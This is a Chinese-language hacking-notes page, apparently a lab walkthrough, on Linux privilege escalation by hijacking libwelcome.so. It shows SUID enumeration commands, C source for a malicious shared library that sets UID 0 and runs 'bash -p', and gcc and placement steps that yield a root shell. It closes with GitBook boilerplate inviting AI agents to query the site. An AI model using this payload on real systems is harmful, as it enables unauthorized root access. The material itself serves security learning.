> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md).

# libwelcome.so 共享库劫持 - Linux 权限提升

## 这是什么

共享库劫持会滥用动态加载器：当特权二进制文件加载一个缺失、可写或由攻击者控制的共享对象时。恶意 `.so` 可以以加载进程的权限执行代码。此特定页面重点介绍 **共享库劫持（libwelcome.so）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## 示例

<details>

<summary>易受攻击的机械网站 <a href="https://attackdefense.com/challengedetails?cid=90"><strong>attackdefense</strong></a><strong>:</strong></summary>

</details>

搜索带有以下属性的文件 [SUID](/zh/privesc/suid.md) 权限：

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/080a0b50747adc5ef53ea7adc2d7e343f1652fc7" alt=""><figcaption></figcaption></figure>

如果库搜索路径可写，我们就可以将 `libwelcome.so` 直接放到二进制文件加载的目录中。

<figure><img src="/files/768cc0b0a144c44b125555da8e07b542790e32d0" alt=""><figcaption></figcaption></figure>

通过检查配置文件，我们可以看到库路径指向一个不存在的目录： `/home/student/lib`.

<figure><img src="/files/d2c1e44ca7f02c6d7f3aaf1d3aacc955c72f5c93" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/87dff6d8017769510ba435f38e704de4ae457c04" alt=""><figcaption></figcaption></figure>

创建缺失的 `lib` 目录，并放入一个可控的 `test.c` 载荷：

<figure><img src="/files/0c9dec5c63575e8bfedef811562c34289755271e" alt=""><figcaption></figcaption></figure>

这 `test.c` 当特权二进制文件加载它时，载荷会以 root 身份启动一个 Bash shell：

```c
#include <stdio.h>
#include <unistd.h>

int welcome(){
        setuid(0);
        setgid(0);
        system("bash -p");
        return 0;
}
```

将载荷编译为期望的 `libwelcome.so` 共享对象：

```bash
gcc -fPIC -shared test.c -o libwelcome.so
```

<figure><img src="/files/31733c2dadadbced3a98b86419695dccae13bc10" alt=""><figcaption></figcaption></figure>

将编译好的共享对象移动到缺失的 `lib` 目录，并确认二进制文件能够解析到它：

```bash
ldd /usr/bin/welcome
mv libwelcome.so lib
```

<figure><img src="/files/a5e0b136f278511df2c82e60ab10ab5b31dd83a1" alt=""><figcaption></figcaption></figure>

运行 `/usr/bin/welcome` 再次运行。二进制文件会加载恶意库，并返回一个以 root 身份运行的 Bash shell：

<figure><img src="/files/6f51dde9e2ff969de72ad628b82eb839996c3e0d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
